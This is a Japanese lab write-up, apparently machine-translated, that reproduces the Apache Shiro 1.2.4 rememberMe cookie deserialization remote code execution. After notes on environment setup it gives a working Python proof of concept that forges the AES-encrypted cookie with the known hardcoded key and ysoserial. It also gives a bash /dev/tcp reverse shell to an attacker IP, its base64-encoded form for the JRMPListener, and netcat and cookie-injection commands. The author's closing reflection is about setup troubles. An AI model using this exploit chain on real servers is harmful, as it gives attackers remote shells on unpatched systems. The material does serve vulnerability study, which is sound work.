Apache Shiro Javaアンチシーケンス化脆弱性の再現-ピットレコード


概要
この脆弱性はjavaの逆シーケンス化脆弱性の一種であり、shiroはjavaの開発フレームワークであり、アプリケーションの環境を迅速に構築することができる.
バージョンに影響Apache Shiro <= 1.2.4
環境構築
warパッケージの作成
まず、Apache Shiroに脆弱性があるソースコードを取得する必要があります.具体的な操作は以下の通りです.
git clone https://github.com/apache/shiro.git
cd /shiro
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

その後の操作は脆弱性のあるjarパケットを追加するべきで、mavenというツール(初めて使用し、pom.xmlでjarパケットを取得する役割)を使用して、構築過程も面倒です
maven      :
https://www.runoob.com/maven/maven-setup.html
       JDK   ,JAVA            。。。
https://blog.csdn.net/qq_27446553/article/details/54590691のチュートリアルに従って、次はeclipseプロジェクトに変換しますが、私のmvnはコンパイルに失敗し、JDKバージョンの問題を表示し続け、その後JDKをアンインストールし、対応するバージョンのJDKをインストールします.やはりだめです.環境変数も構成されています.最後にhttp://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/の記事を見つけ、圧縮されたwarパッケージを提供しました.
tomcat環境の構築
公式サイトからtomcat-7.0-96バージョン(他のバージョンでも可)のソースコードをダウンロードし、warパッケージをtomcatのwebappsに入れると自動的に解凍し、/binディレクトリのstartupをクリックします.exeはプログラムを実行し、ブラウザでhttp://localhost:8080/nameにアクセスすればアクセスできます.(環境変数にJDKが追加されていることを前提としている)Apache Shiro Java反序列化漏洞复现-踩坑记录_第1张图片の詳細な構築プロセス
https://blog.csdn.net/qq_39019865/article/details/82897035

脆弱性の再現
悪意のあるクッキー
poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

その中のkeyは既知で、shiroの公式サイトにあります.pocを実行してremembermeクッキーを生成
root@kali:~/ysoserial/target# python poc.py 192.168.77.149:3888
rememberMe=smX9zgWATkm1+L0rm+pBNKJxkkiNUZ8SMPIeziULWe6t48LbBAJ7cCIreEB9JxhSVuCXAtjQLu9vjscQeU0d1HaYEkEN31yp1H7DWOwIdtk19u+m+oL8YRIPyecgDDQLhC9TLc8nDQStzvKzOSE+Vvf16hrIg0ri6gf46/lMsVy7WoEs05dEvZGj9q8lVls/Ov6bqs4P2jt67oR7fyinHrVLJiCBTllXzLHf/+TWUJT277n6v87kph4vqt2S/MvvKfXscO/kzGNUh1a1E+GDQosZ5XbvdMXrOLowA4JULK9DEY5yhR0r2XEEWejj8mQ6ZS1BdYSdZN3IajSACdeE0Xabg3T65IhvU+StFgj6cmYMaRmxJsgKffPc3e8VdMXrncBFBlfymug61PrIpW08PQ==

バウンスシェルを作成するには
バウンスシェルを作成するには
bash -i >& /dev/tcp/192.168.77.149/8888 0>&1

次いで、http://www.jackson-t.ca/runtime-exec-payloads.html上でjava逆シーケンス化base 64符号化を迂回する
ysoserialリスニングを開始
ysoserialはjavaの逆シーケンス化ツールで、攻撃機はysoserialをダウンロードして、必要なjarファイルを取得します
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
  mvn      
apt-get install maven

ここでは1つのポートを傍受してリバウンドshellを実行するコマンドに使用し、攻撃機で以下のコマンドを実行します.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc3LjE0OS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

ここで傍受するポートは、pocが実行するポートと同じポートを使用していることに注意してください.
ローカルでリスニングを開始
同時に、8888ポートのリスニングをオンにします(上のリバウンドshellは8888ポートを使用しているため).
nc -lvp 8888

悪意を込めたクッキー
httpieを使用してクッキーを注入
root@kali:~/ysoserial/target# http 192.168.31.207:8080/shiro/login.jsp 'Cookie:...'

脆弱性の原理
Apache Shiroでは、CookieRememberMeManagerがデフォルトで使用されています.Cookieを処理するプロセスは rememberMe cookie ->Base64 –>AES –> です.しかし、AESの鍵はハードコーディングされており、攻撃者が悪意のあるデータを構築して反シーケンス化されたRCEホールをもたらすことができる.
参考記事
環境構築から脆弱性の再現まで
httpie     :https://keelii.com/2018/09/03/HTTPie/
maven     :https://www.runoob.com/maven/maven-setup.html
java       :https://www.cnblogs.com/cnwutianhao/p/5487758.html
    :
http://www.secwk.com/2019/09/18/2818/
https://www.cnblogs.com/loong-hon/p/10619616.html
https://blog.knownsec.com/2016/08/apache-shiro-java/


まとめ
ここ数日ずっとこの抜け穴を再現することを考えていて、最初から全然(環境も抜け穴自体も)分からなかったので、今まで見ていたのはまだ分かりますが、実は長い時間がかかりました.脆弱性の再現過程、shiroをダウンロードして、tomcatをダウンロードして、manveをダウンロードして、ecliseをダウンロードして、更に彼らの配置まで、本当に時間がかかります.すべてのものは接触したことがないので、今自分でやって、多くの文章を検索して、いくつかのものは1回で完成することができますが、まだいくつかのものは一連の問題を出すことができます.例えば私はlinuxの下の環境を構築したいと思って、まずlinuxバージョンのtomcatをダウンロードして、それからshiroパッケージを適切な位置に置いて、それからlinuxに対して構成を行って、構成が終わった後にサービスを開いて間違いを発見して、Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Program will exit.それから原因を探して、javaバージョンの問題であることを発見して、linuxのためにデフォルトでopenjdkをインストールして、しかし環境が必要とするのはjdkで、だからまたopenjdkをアンインストールする方法を探して、しかしネット上の答えはすべて大同小異で、順番に操作して何の役にも立たないことを発見して、袋小路に入りました.似たようなことがたくさんありますが、効果的な収益はありません.ほとんどの場合、固定的な思考に陥りすぎて迂回できません.思考がなければ、考えを変えることができますか.他の方向から問題を考えることができますか.また、急いで手を出すことができません.いくつかの関連文章を見て、まず自分の考えを形成しなければなりません.今回の抜け穴の再現の過程は実は収穫が多くて、あるのは言うに値しないが、しかし1種の蓄積です.